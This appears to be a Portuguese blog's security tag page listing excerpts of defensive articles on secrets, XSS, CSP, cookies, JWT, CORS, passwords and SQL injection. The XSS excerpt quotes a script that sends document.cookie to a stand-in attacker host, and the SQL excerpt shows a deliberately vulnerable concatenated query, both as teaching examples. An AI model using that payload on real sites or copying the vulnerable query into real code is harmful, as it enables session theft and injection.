Tag
Segurança
Injeção, XSS, CSRF, passwords e segredos: o que corre mal, e o que evita cada um.
Um segredo chega a um processo em produção por uma de três vias: uma variável de ambiente, um ficheiro montado, ou um cofre consultado no arranque. As três funcionam. O que as distingue é como falham , e é por aí que se escolhe. 1. Variáveis de ambiente A via mais simples, e a mais usada. O preço é …
Ler o artigo→O npm audit diz dezassete vulnerabilidades, três críticas. Ninguém lê, e há uma razão legítima para isso: o número está quase sempre a medir uma coisa diferente daquela que interessa. 1. Porque é que o número é inútil assim Duas razões, e as duas são estruturais. A primeira: o relatório cobre a árvo…
Ler o artigo→Escapar à saída é a primeira linha de defesa contra o XSS, e é a que resolve o problema. O Content-Security-Policy é a segunda: serve para o dia em que uma coisa escapou, e o script injetado já está na página a tentar correr. Não impede o furo — impede que o furo sirva para alguma coisa. É também o …
Ler o artigo→Há uma ideia generalizada de que pôr um valor numa variável de ambiente é pô-lo em segurança. Não é — é só tirá-lo do código. São coisas diferentes, e a diferença dá disgostos. 1. O caso que mais custa: o que é lido na construção Este site tem duas variáveis que parecem iguais a todas as outras e nã…
Ler o artigo→A explicação habitual é que o package-lock.json serve para fixar versões. Está certa e é a menos importante — as versões já estão no package.json , e quem quiser fixá-las pode simplesmente tirar o ^ . O que ele faz de facto são três coisas, e nenhuma delas se consegue de outra maneira. 1. Fixa a árv…
Ler o artigo→Acontece a toda a gente. Um .env que escapou ao .gitignore , uma chave colada num ficheiro de configuração "só para testar", um token numa mensagem de commit. E há uma reação instintiva que é a errada. 1. A ordem certa é esta A primeira coisa não é limpar o histórico. É rodar o segredo . A partir do…
Ler o artigo→Um formulário de upload é um convite para pôr ficheiros no seu servidor. Vale a pena aceitar com regras. 1. A extensão não prova nada Mudar virus.php para foto.jpg demora um segundo. O que se verifica é o conteúdo : os primeiros bytes de um ficheiro dizem o que ele é. // Assinaturas: os primeiros by…
Ler o artigo→Um servidor com autenticação por password na porta 22 recebe milhares de tentativas por dia, todos os dias, de robôs que não sabem que ele existe — encontram-no a varrer a internet. As chaves resolvem isso e ainda são mais cómodas. 1. Criar o par ssh-keygen -t ed25519 -C "portatil-do-francisco" Fica…
Ler o artigo→Um certificado custava dinheiro, chegava por email e renovava-se à mão uma vez por ano — normalmente no dia seguinte a ter expirado. Hoje é gratuito e automático, e vale a pena saber o que se passa por baixo. 1. Para que serve, ao certo Cifra o que vai e vem, para ninguém pelo caminho ler nem altera…
Ler o artigo→O JSON Web Token é três blocos de texto separados por pontos. Vale a pena saber exatamente o que cada um faz, porque quase todos os erros com JWT vêm de lhe atribuir propriedades que ele não tem. eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJub21lIjoiQW5hIn0.4pcPyMD09olPSyXnrXCjTw └── cabeçalho ──────┘ └─…
Ler o artigo→É provavelmente a mensagem mais copiada para o Google em toda a história do desenvolvimento web: Access to fetch at 'https://api.exemplo.pt/dados' from origin 'https://meusite.pt' has been blocked by CORS policy E a reação mais comum é a errada: procurar como "desligar o CORS" no browser. 1. Quem bl…
Ler o artigo→Um cookie de sessão são três atributos e um problema. Vale a pena perceber os três, porque cada um fecha uma porta diferente. Set-Cookie: sessao=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=604800 1. HttpOnly — contra o XSS O JavaScript da página não consegue ler o cookie. Se alguém conse…
Ler o artigo→Um comentário com isto lá dentro: <script>fetch('https://mau.example?c=' + document.cookie)</script> Se a página o mostrar como HTML, o script corre no browser de quem visita , com a sessão de quem visita. É o cross-site scripting , e continua a ser a vulnerabilidade mais comum na web. 1. Os três sa…
Ler o artigo→Uma base de dados acaba por sair. Acontece a empresas com equipas de segurança a sério, e vai acontecer ao seu projeto de fim de semana. A pergunta que interessa não é se alguém a vai ler — é o que essa pessoa encontra lá dentro. 1. O que nunca se faz Guardar em texto simples. Não precisa de explica…
Ler o artigo→Tem quase trinta anos, está no topo das listas de vulnerabilidades desde que há listas, e continua a aparecer. A causa é sempre a mesma linha de código: const sql = "SELECT * FROM utilizadores WHERE email = '" + email + "'"; 1. O que acontece Se o email for [email protected] , a consulta é a esperada. …
Ler o artigo→